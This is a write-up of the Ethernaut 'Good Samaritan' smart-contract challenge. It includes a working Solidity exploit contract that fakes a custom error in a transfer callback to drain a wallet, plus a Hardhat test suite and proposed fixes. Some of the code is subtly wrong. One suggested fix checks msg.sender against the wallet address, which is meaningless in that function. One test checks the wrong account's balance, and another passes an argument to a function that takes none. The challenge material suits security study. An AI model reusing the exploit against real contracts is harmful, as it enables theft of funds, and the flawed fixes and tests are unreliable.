Appearance
Exploiting Custom Errors: A Deep Dive into the Good Samaritan CTF Challenge
Introduction
The Good Samaritan challenge from OpenZeppelin's Ethernaut platform presents a fascinating case study in smart contract security, specifically focusing on the interaction between custom errors, try-catch blocks, and contract notifications. This technical article will dissect the vulnerability, explore the underlying mechanics, and provide a comprehensive solution to drain the wallet's balance completely.
Understanding the Challenge Architecture
Contract Structure Overview
The Good Samaritan ecosystem consists of three main contracts and one interface:
- GoodSamaritan: The main contract that manages donations
- Wallet: Holds and manages coin balances
- Coin: The ERC-20-like token implementation
- INotifyable: Interface for notification callbacks
Let's examine each component in detail.
The GoodSamaritan Contract
The primary contract acts as a donation system with a specific flow:
solidity
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
The requestDonation() function is the entry point for users seeking donations. It attempts to donate 10 coins via wallet.donate10(), and if that fails with a NotEnoughBalance() error, it transfers the remaining balance.
The Wallet Contract
The Wallet contract manages the coin balance and donation logic:
solidity
contract Wallet {
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}
function donate10(address dest_) external onlyOwner {
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
coin.transfer(dest_, coin.balances(address(this)));
}
}
The wallet has two key functions: donate10() for regular donations and transferRemainder() for transferring all remaining balance.
The Coin Contract
The Coin contract implements the token functionality with a notable feature:
solidity
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
The critical feature here is the notification callback: when transferring to a contract address, it calls notify(amount_) on the recipient contract.
Identifying the Vulnerability
The Notification Callback Attack Vector
The vulnerability stems from the interaction between three components:
- The try-catch block in
GoodSamaritan.requestDonation() - The notification callback in
Coin.transfer() - The error matching logic in the catch block
When wallet.donate10() is called, it initiates a transfer of 10 coins. If the recipient is a contract, the Coin.transfer() function calls notify(amount_) on the recipient. This callback occurs during the execution of donate10(), before it completes.
The Exploit Chain
The attack sequence works as follows:
- Attacker calls
requestDonation() GoodSamaritancallswallet.donate10(attacker)Walletchecks balance and callscoin.transfer(attacker, 10)Coin.transfer()updates balances and callsattacker.notify(10)- Attacker's
notify()function can revert withNotEnoughBalance() - This reverts the entire
donate10()call GoodSamaritancatches the revert and checks if it'sNotEnoughBalance()- Since it matches, it calls
wallet.transferRemainder(attacker) - This transfers all remaining balance instead of just 10 coins
Crafting the Exploit Contract
The Hack Contract Implementation
Here's the complete exploit contract that leverages this vulnerability:
solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "./GoodSamaritan.sol";
contract Hack is INotifyable {
error NotEnoughBalance();
GoodSamaritan private immutable target;
constructor(address _target) {
target = GoodSamaritan(_target);
}
function doHack() external {
bool r = target.requestDonation();
require(!r, "Hack fail!");
}
function notify(uint256 amount) external {
amount;
uint256 balance = target.coin().balances(address(target.wallet()));
if (balance > 0) {
revert NotEnoughBalance();
}
}
}
Step-by-Step Analysis of the Hack
- Constructor: Stores the target
GoodSamaritancontract address - doHack(): Initiates the attack by calling
requestDonation() - notify(): The callback function that triggers the exploit
The key insight is in the notify() function:
solidity
function notify(uint256 amount) external {
amount;
uint256 balance = target.coin().balances(address(target.wallet()));
if (balance > 0) {
revert NotEnoughBalance();
}
}
This function:
- Accepts the amount parameter (though doesn't use it)
- Checks the wallet's current balance
- If there's any balance remaining, it reverts with
NotEnoughBalance()
Why This Works
The NotEnoughBalance() error from the attacker's contract is indistinguishable from the NotEnoughBalance() error that the Wallet contract would throw when it actually doesn't have enough balance. The GoodSamaritan contract's error matching logic doesn't verify the source of the error, only its signature.
Testing the Exploit
Comprehensive Test Implementation
Here's a detailed test suite that verifies the exploit works correctly:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { GoodSamaritan, Hack } from "../typechain-types";
describe("GoodSamaritan Exploit", function () {
let goodSamaritan: GoodSamaritan;
let hack: Hack;
let challenger: any;
const INITIAL_BALANCE = 10 ** 6; // 1,000,000 coins
beforeEach(async function () {
// Get the deployer/signer
[challenger] = await ethers.getSigners();
// Deploy GoodSamaritan contract
const GoodSamaritanFactory = await ethers.getContractFactory("GoodSamaritan");
goodSamaritan = await GoodSamaritanFactory.deploy();
await goodSamaritan.waitForDeployment();
// Verify initial setup
const walletAddr = await goodSamaritan.wallet();
const coinAddr = await goodSamaritan.coin();
// Get Coin contract instance
const CoinFactory = await ethers.getContractFactory("Coin");
const coinContract = CoinFactory.attach(coinAddr);
// Verify initial wallet balance
const initialBalance = await coinContract.balances(walletAddr);
expect(initialBalance).to.equal(INITIAL_BALANCE);
});
it("should drain the wallet completely", async function () {
// Deploy the Hack contract
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.deploy(await goodSamaritan.getAddress());
await hack.waitForDeployment();
// Get Coin contract for balance checking
const coinAddr = await goodSamaritan.coin();
const CoinFactory = await ethers.getContractFactory("Coin");
const coinContract = CoinFactory.attach(coinAddr);
const walletAddr = await goodSamaritan.wallet();
// Record initial balances
const walletBalanceBefore = await coinContract.balances(walletAddr);
const hackBalanceBefore = await coinContract.balances(await hack.getAddress());
console.log(`Wallet balance before: ${walletBalanceBefore}`);
console.log(`Hack contract balance before: ${hackBalanceBefore}`);
// Execute the exploit
const tx = await hack.doHack();
await tx.wait();
// Verify final balances
const walletBalanceAfter = await coinContract.balances(walletAddr);
const hackBalanceAfter = await coinContract.balances(await hack.getAddress());
console.log(`Wallet balance after: ${walletBalanceAfter}`);
console.log(`Hack contract balance after: ${hackBalanceAfter}`);
// Assertions
expect(walletBalanceAfter).to.equal(0);
expect(hackBalanceAfter).to.equal(walletBalanceBefore);
// Verify the hack was successful (requestDonation returns false)
const donationResult = await goodSamaritan.requestDonation.staticCall(
await hack.getAddress()
);
expect(donationResult).to.be.false;
});
it("should demonstrate the normal donation flow", async function () {
// Test normal donation to an EOA
const [_, recipient] = await ethers.getSigners();
const tx = await goodSamaritan.requestDonation();
await tx.wait();
const coinAddr = await goodSamaritan.coin();
const CoinFactory = await ethers.getContractFactory("Coin");
const coinContract = CoinFactory.attach(coinAddr);
const recipientBalance = await coinContract.balances(recipient.address);
expect(recipientBalance).to.equal(10);
});
});
Test Execution Flow
- Setup: Deploys the GoodSamaritan contract with initial 1,000,000 coin balance
- Exploit Deployment: Deploys the Hack contract targeting GoodSamaritan
- Balance Verification: Checks initial balances before the attack
- Attack Execution: Calls
doHack()which triggers the exploit - Result Verification: Confirms wallet is drained and Hack contract has all coins
Security Analysis and Lessons Learned
The Root Cause: Error Source Verification
The fundamental vulnerability is that GoodSamaritan.requestDonation() doesn't verify where the NotEnoughBalance() error originates. It assumes any NotEnoughBalance() error comes from the Wallet.donate10() call, but in reality, it could come from anywhere in the call stack, including the notification callback.
Custom Error Security Considerations
Custom errors in Solidity, while gas-efficient, require careful handling:
- Error Propagation: Errors can propagate through multiple contract calls
- Error Context: The same error type from different sources is indistinguishable
- Try-Catch Limitations: Catching errors requires understanding the full call chain
Recommended Fixes
Here are several approaches to fix this vulnerability:
Option 1: Remove the try-catch and handle errors differently
solidity
function requestDonation() external returns (bool) {
uint256 balance = coin.balances(address(wallet));
if (balance >= 10) {
wallet.donate10(msg.sender);
return true;
} else if (balance > 0) {
wallet.transferRemainder(msg.sender);
return false;
}
return false;
}
Option 2: Add error source verification
solidity
function requestDonation() external returns (bool enoughBalance) {
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
// Verify the error comes from the expected source
if (msg.sender == address(wallet) &&
keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
wallet.transferRemainder(msg.sender);
return false;
}
// Re-throw unexpected errors
assembly {
revert(add(32, err), mload(err))
}
}
}
Option 3: Modify the notification mechanism
solidity
// In Coin contract
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if (dest_.isContract()) {
// Use a low-level call with gas limits
(bool success, ) = dest_.call{gas: 50000}(
abi.encodeWithSignature("notify(uint256)", amount_)
);
// Don't revert if notification fails
if (!success) {
// Log or handle gracefully
}
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
Broader Implications for Smart Contract Security
Reentrancy Patterns
This exploit demonstrates a form of "error reentrancy" where a callback can influence the error state of the calling function. While different from traditional reentrancy attacks that manipulate state, it shares similar characteristics of unexpected control flow during external calls.
Notification Callback Risks
The pattern of notifying recipient contracts during transfers is common in some token implementations. This case study highlights the risks:
- Unbounded Execution: Recipient contracts can execute arbitrary code
- State Manipulation: Callbacks can affect the calling contract's state
- Error Injection: Callbacks can revert with specific errors to manipulate control flow
Defense Strategies
- Checks-Effects-Interactions Pattern: Ensure state changes happen before external calls
- Gas Limits on Callbacks: Limit the gas available to notification callbacks
- Error Isolation: Isolate error-prone operations from critical state changes
- Minimal Trust in Callbacks: Assume callbacks can fail or behave maliciously
Conclusion
The Good Samaritan CTF challenge provides valuable insights into smart contract security, particularly around error handling and callback mechanisms. The exploit demonstrates how seemingly innocent features—custom errors, try-catch blocks, and notification callbacks—can combine to create critical vulnerabilities.
Key takeaways for developers:
- Always verify error sources when using try-catch with custom errors
- Be cautious with callbacks during state-changing operations
- Consider the full call chain when designing error handling logic
- Test edge cases involving contract interactions and error propagation
For security researchers, this challenge highlights the importance of understanding not just individual contract vulnerabilities, but also how contract interactions can create unexpected attack vectors. The most secure individual components can still create vulnerable systems when combined in unexpected ways.
As the blockchain ecosystem evolves, understanding these complex interaction patterns will become increasingly important for both developers and security professionals working to build and maintain secure decentralized systems.